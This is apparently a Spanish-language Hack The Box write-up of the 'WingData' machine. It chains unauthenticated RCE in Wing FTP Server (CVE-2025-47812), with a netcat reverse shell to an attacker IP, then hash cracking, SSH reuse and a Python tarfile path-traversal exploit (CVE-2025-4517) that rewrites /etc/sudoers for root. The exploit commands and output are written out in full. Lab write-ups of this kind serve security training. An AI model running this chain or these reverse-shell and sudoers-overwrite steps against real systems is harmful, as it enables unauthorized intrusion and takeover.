WingData WriteUp
Table of Contents
WingData es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box, Season 10, creada por WackyH4cker. La cadena de ataque combina la explotación de un Wing FTP Server vulnerable para obtener acceso inicial, extracción y crackeo de credenciales desde ficheros de configuración, y escalada de privilegios mediante una vulnerabilidad en el módulo tarfile de Python.
🗺️ Cadena de Ataque
Reconocimiento → Puerto 80 + 22
│
▼
Enumeración web → ftp.wingdata.htb (Wing FTP Server v7.4.3)
│
▼
CVE-2025-47812 → RCE sin autenticación → Shell como wingftp
│
▼
/opt/wftpserver/Data/1/users/wacky.xml → Hash SHA-256 con sal
│
▼
Hashcat (modo 1410) → Contraseña en texto claro → SSH como wacky
│
▼
sudo -l → restore_backup_clients.py (root) → CVE-2025-4517
│
▼
Tar malicioso → path traversal → /etc/sudoers → root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts para poder usar el nombre de dominio en todas las herramientas:
echo "10.129.244.106 wingdata.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.
Fase 1 - Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv wingdata.htb
Fase 2 - Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv wingdata.htb
Los puertos que encontramos:
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.2p1 (Debian 12) |
80 | HTTP | Apache httpd 2.4.66 (Debian) |
Enumeración Web
Fuzzeamos directorios en el sitio principal:
ffuf -u http://wingdata.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 40
/assets [Status: 301]
/vendor [Status: 301] ← indica framework PHP
Nada relevante en el sitio principal. Enumeramos subdominios virtuales:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://wingdata.htb" -H "Host: FUZZ.wingdata.htb" -fw 21
ftp [Status: 200, Size: 678]
🎯 Encontramos el subdominio
ftp.wingdata.htb. Actualizamos/etc/hostspara incluir también este subdominio:
# Añadimos ftp.wingdata.htb a la misma línea que ya existe
sudo sed -i 's/wingdata.htb/wingdata.htb ftp.wingdata.htb/' /etc/hosts
Al visitar http://ftp.wingdata.htb vemos la página de login de Wing FTP Server v7.4.3.
💉 Acceso Inicial - CVE-2025-47812
¿Qué es CVE-2025-47812?
🧠 Wing FTP Server v7.4.3 contiene una vulnerabilidad de ejecución remota de código sin autenticación. El servidor expone un endpoint que procesa comandos Lua sin verificar correctamente la sesión del usuario, permitiendo a cualquier atacante ejecutar código arbitrario en el sistema.
Descargamos el PoC:
git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc
Preparamos el listener:
penelope -p 8443
Ejecutamos el exploit con nuestra reverse shell:
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.14.100 8443 -e /bin/sh" -v
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.14.100 8443 -e /bin/sh' and username: 'anonymous'
[+] UID extracted: bfee565dfeccd21a28c60c4dfb4d7cdef528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: bfee565dfeccd21a28c60c4dfb4d7cdef528764d624db129b32c21fbca0cb8d6
En nuestro listener recibimos la conexión:
wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
wingftp@wingdata:/opt/wftpserver$ hostname
wingdata
✅ Shell obtenida como
wingftp.
🔑 Extracción de Credenciales
Wing FTP Server almacena los usuarios y sus contraseñas en ficheros XML dentro del directorio de instalación:
find /opt/wftpserver -name "*.xml" 2>/dev/null
/opt/wftpserver/Data/1/users/wacky.xml
cat /opt/wftpserver/Data/1/users/wacky.xml
<User>
...
<Username>wacky</Username>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
...
</User>
💡 Wing FTP Server utiliza SHA-256 con la sal por defecto
WingFTPen el formatosha256($pass.$salt), que corresponde al modo 1410 de hashcat.
Cracking del Hash
Preparamos el fichero con el formato hash:sal:
echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hash.txt
Lanzamos hashcat:
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
Session..........: hashcat
Status...........: Cracked
🔑 Credenciales obtenidas:
wacky:!#7Blushing^*Bride5
🔀 Movimiento Lateral - SSH como wacky
ssh wacky@wingdata.htb # !#7Blushing^*Bride5
🚩 User Flag
cat ~/user.txt
🧗♂️ Escalada de Privilegios - CVE-2025-4517
Enumeración de Permisos sudo
sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
⚠️ Hallazgo clave: Podemos ejecutar como
rootel scriptrestore_backup_clients.pycon cualquier argumento (*). Este script restaura backups de clientes extrayendo ficheros.tar. Vamos a analizar su comportamiento:
cat /opt/backup_clients/restore_backup_clients.py
El script acepta un fichero .tar del directorio /opt/backup_clients/backups/ y lo extrae usando tarfile.open().extractall() con filter="data".
¿Qué es CVE-2025-4517?
🧠 El módulo
tarfilede Python (versiones 3.8.0–3.13.1) contiene una vulnerabilidad que permite escritura arbitraria de ficheros fuera del directorio de extracción, incluso confilter="data"activado. La explotación encadena tres técnicas:
- Path overflow: Se crean rutas con profundidad superior a
PATH_MAXpara confundir la resolución de rutas.- Symlink traversal: Se crean symlinks que apuntan fuera del directorio de extracción.
- Hardlinks: Se referencian los symlinks escapados mediante hardlinks, que
filter="data"no filtra correctamente.El resultado: podemos escribir en cualquier fichero del sistema, como
/etc/sudoers.
Creación del Tar Malicioso
El exploit crea el tar malicioso, lo despliega en el directorio de backups, lanza la extracción vulnerable y, si tiene éxito, spawna automáticamente una shell de root:
# Clonamos el repositorio y copiamos en exploit en nuestra carpeta http de kali linux
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData
cp CVE-2025-4517-POC-HTB-WingData/CVE-2025-4517-POC.py ~/http/exploit.py
# Levantamos HTTP con goshs
goshs -d ~/http -p 80 -i 0.0.0.0
# Pasamos el exploit a la máquina y lo ejecutamos
wget http://10.10.14.100/exploit.py
python3 exploit.py
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================
[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash
root@wingdata:/home/wacky#
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | Puertos 22 y 80 (Apache) |
| 2 | Enumeración web | ffuf | Subdominio ftp.wingdata.htb → Wing FTP Server v7.4.3 |
| 3 | RCE sin autenticación | CVE-2025-47812 PoC | Shell como wingftp |
| 4 | Extracción de credenciales | cat | Hash SHA-256 de wacky en wacky.xml |
| 5 | Cracking de hash | hashcat -m 1410 | Contraseña !#7Blushing^*Bride5 |
| 6 | Movimiento lateral | ssh | Acceso como wacky + User Flag 🚩 |
| 7 | Enumeración sudo | sudo -l | Script Python con tarfile ejecutable como root |
| 8 | Escritura arbitraria de ficheros | CVE-2025-4517 PoC | Entrada maliciosa en /etc/sudoers |
| 9 | Escalada a root | CVE-2025-4517 PoC | Shell automática como root + Root Flag 🏴 |
Un saludo, nos vemos en el próximo challenge.

